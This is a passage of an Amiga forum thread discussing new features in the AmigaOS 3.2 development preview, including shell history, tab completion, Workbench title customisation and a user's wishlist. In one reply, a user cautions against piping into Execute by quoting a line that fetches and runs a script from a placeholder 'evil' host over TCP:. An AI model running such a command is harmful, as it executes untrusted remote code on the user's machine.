Welcome, Guest. Please login or register.
Amiga Kit Amiga Store Iridium Banner AMIStore App Store A600 Memory

AuthorTopic: Os 3.2 development preview  (Read 29466 times)

SpaceMonkey (+ 1 hidden) and 5 Guests are viewing this topic.

Offline kolla

Re: Os 3.2 development preview
« Reply #15 on: August 28, 2019, 10:20:30 PM »
What is "History"?

Just printout of command history... will there be shortcuts for searching in command history (ala bash ctrl+r - not that I use bash, zsh in vi mode here)?

One can hope path history will also come, akin to
http://aminet.net/package/util/cli/HistoryCD
« Last Edit: August 29, 2019, 12:55:19 AM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #16 on: August 29, 2019, 02:26:43 AM »
Window Iconify.
Bing! Another one. There is a new system icon programs can request. It iconifies windows. Most system tools use it, including the console and the preferences.

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #17 on: August 29, 2019, 02:27:34 AM »
What is "History"?
*Bing* A new shell command. Lists the command history. The history is kept by the shell, not the console.

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #18 on: August 29, 2019, 02:34:14 AM »
Just printout of command history... will there be shortcuts for searching in command history (ala bash ctrl+r - not that I use bash, zsh in vi mode here)?
Yes, certainly, the old CON: keys keep working, ^r searches the history upwards, and we have Shift+cursor keys for searching as well. So the functionality did not change - it just moved to the shell. Along with another new feature that is also handled by the shell. Can you spot it?

Offline Matt_H

Re: Os 3.2 development preview
« Reply #19 on: August 29, 2019, 04:34:50 AM »
Is the default Rexx: assign now SYS:Rexx instead of S:? I’ve been doing that manually on my systems for years! :)

The standard iconify gadget and Printer prefs output device are great additions. Personally, I’d prefer that ReAction not become part of the OS, or at least not as a replacement for GadTools as with the standard system utilities in 3.5+.

I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?

Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?
 

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #20 on: August 29, 2019, 06:54:21 AM »
I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?
Yup. The 3.1 prefs and GUIs in general were never font sensitive. Hardcoded topaz.8.

Offline kolla

Re: Os 3.2 development preview
« Reply #21 on: August 29, 2019, 11:46:04 AM »
Can you spot it?
It may look like tab completion is there, <tab tab> output commands starting with A?
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline paul1981

Re: Os 3.2 development preview
« Reply #22 on: August 29, 2019, 12:31:15 PM »
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???
There goes another point. Yes, Marcus updated the workbench and provided a nice enhancement of the workbench prefs that allow you to customize the workbench title.

Will this allow the use of environment variables in the Workbench title? That would be a nice touch if implemented. Also a customisable clock with date and position settings would be nice. Could make it localised too to format the time/date to locale settings as in Thomas Igracki's ScreenClock on aminet. A simple alarm would also be needed, in which case I suggest a double click in the clock portion of the titlebar to open the alarm settings.

Offline kolla

Re: Os 3.2 development preview
« Reply #23 on: August 29, 2019, 12:52:09 PM »
Yes, certainly, the old CON: keys keep working, ^r searches the history upwards...
You are perhaps confusing "old CON:" with your own VNC: - "old CON:" (con-handler 40.2) certainly does nothing usefull with ^r other than "bell"
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #24 on: August 29, 2019, 01:02:24 PM »
Can you spot it?
It may look like tab completion is there, <tab tab> output commands starting with A?
That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

Offline Thomas Richter

Re: Os 3.2 development preview
« Reply #25 on: August 29, 2019, 01:03:49 PM »
Will this allow the use of environment variables in the Workbench title?
That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.
 

Offline kolla

Re: Os 3.2 development preview
« Reply #26 on: August 29, 2019, 01:31:31 PM »
Will this allow the use of environment variables in the Workbench title? That would be a nice touch if implemented.
Indeed. I'm using a copperlisting on the Minimig screen title bar to give it a light gradient green hue when it is online, and red when it is offline, but it leaks RAM and an indictor in titlebar would be "cleaner" (though a heck less awesome).
Quote
I suggest a double click in the clock portion of the titlebar to open the alarm settings.
I have zero use for alarm clock, and would prefer a calendar... today I just use http://aminet.net/package/util/time/BarClock22

There is lots of "simple stuff" that would be great to have official solution to:
* screen menu, window menu when left-clicking screen/window depth gadgets
* several more commands could benefit from LFORMAT - C:Date, C:Info, C:Assign
* C:List should have more love, in particular I miss a way of listing a given drawer without listing its content - akin to *ix "ls -ld"
* there should be a C:Dismount or similar that handles both volume: and device: (OS4 has this, iirc)
* C:Date is messed up locale wise, as it requires "localized" input, so it is tricky to script... what commands use local shell variable $language anyways, if not even C:Date does??
* C:Date should be able to set system time from the timestamp of a reference file
* C:SetDate should also be able to use a reference file when "touching" other files
* System time should care about Locale timezone setting, allowing RTC to run at UTC (yes, I am fully aware of SetDST and other third party tools)
* It should be settled once and for all where system time is taken from when booting from system without RTC -  and this "somewhere" should be easily editable with a system tool, without needing to format the file system - "SetDate DH0:"
* The entire Palette prefs would be better off replaced with something akin to FullPalette
* Workbench prefs should implement "Ghostbusters" and allow devices to be visible "only when validated"
* Official C:RequestString instead of the myriads of incompatible variants that exists today.

In the long run...
* An official public screen management tool akin to MUI PSI, which would also used by Workbench, and WBPattern should merge into this.
* System time should survive warm-boots - there exist a tool for this (http://aminet.net/package/util/time/TimeKeeper), which updates a timestamp to a memory segment that will survive warm-boots, and then set system time from this timestamp after boot. It would be better if a "timekeeper" was built in, maybe as a rom module, or some other boot resident measure.
* Another tool with functionality that would be better off built in - http://aminet.net/package/util/boot/bootctrl - also installs itself resident and lets you "configure" early-startup from CLI, as if you had entered it, selected boot device, disabled devices etc)
* Fonts are either "Workbench Icon Text", "System Default Text" or "Screen Text" - the latter two are less obvious, and there should be more "fine grained" settings possible - I suggest "Icon Text" (wb incons, docks etc), "Console Text" (fixed width, CON:, RAW: etc), "Screen Title Text", "Window Title Text" and "Program Text" (Prefs programs, requesters, whatever that today is using "Screen Text" aside from Screen Titles and Window Titles).
* Rethink the system prefs - make it easy to adjust settings through other means than through the SYS:Prefs/ GUI programs, export/import prefs as text, maybe arexx interface to IPrefs...
« Last Edit: August 29, 2019, 02:47:03 PM by kolla »
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline kolla

Re: Os 3.2 development preview
« Reply #27 on: August 29, 2019, 01:36:32 PM »
That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

About time - probably the most sought after feature for Amiga Shell ever.
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline kolla

Re: Os 3.2 development preview
« Reply #28 on: August 29, 2019, 03:06:52 PM »
A few comments regarding the screenshot...
* Soft-link from RAM:Env to ENVARC: - how clever is that? Will it not just result in all "Use" acting as "Save"? And how is that different from "Assign ENV: ENVARC:"? (I prefer env-handler myself)
* All those ">NIL:" on Assign are rather redundant, and hide error messages on "broken systems" - a successful Assign is quiet.
* Is L:System-Startup a text file with paths to all the modules you wish to load?
* Is AssignWedge now "official"? If so, why not make it redundant?
* netprt.device - interesting... official? If so, what other "IPv4 aware" components are there in the OS?
* I never grasped why some commands are referred to with full path, and some not, in Startup-Sequence... "C:Mount", but just "BindDrivers"
* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.
* " | Execute", while handy (and so trendy, in these times of "cloud computing" and "curl | sh") , may also open a can of worms. It will now be possible to do funny things like "Execute < TCP:my-evil-host.com/666" (maybe even without redirection?) if TCP: is mounted.... exciting!
B5D6A1D019D5D45BCC56F4782AC220D8B3E2A6CC
 

Offline Matt_H

Re: Os 3.2 development preview
« Reply #29 on: August 29, 2019, 03:15:25 PM »
I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?
Yup. The 3.1 prefs and GUIs in general were never font sensitive. Hardcoded topaz.8.
Yeah, just went back and confirmed on a 3.1 system. Funny, I could have sworn there was an OS release from C= that was font-sensitive. Must have been mixing it up with a later version. At any rate, thanks for finally making this happen!
« Last Edit: August 29, 2019, 03:20:11 PM by Matt_H »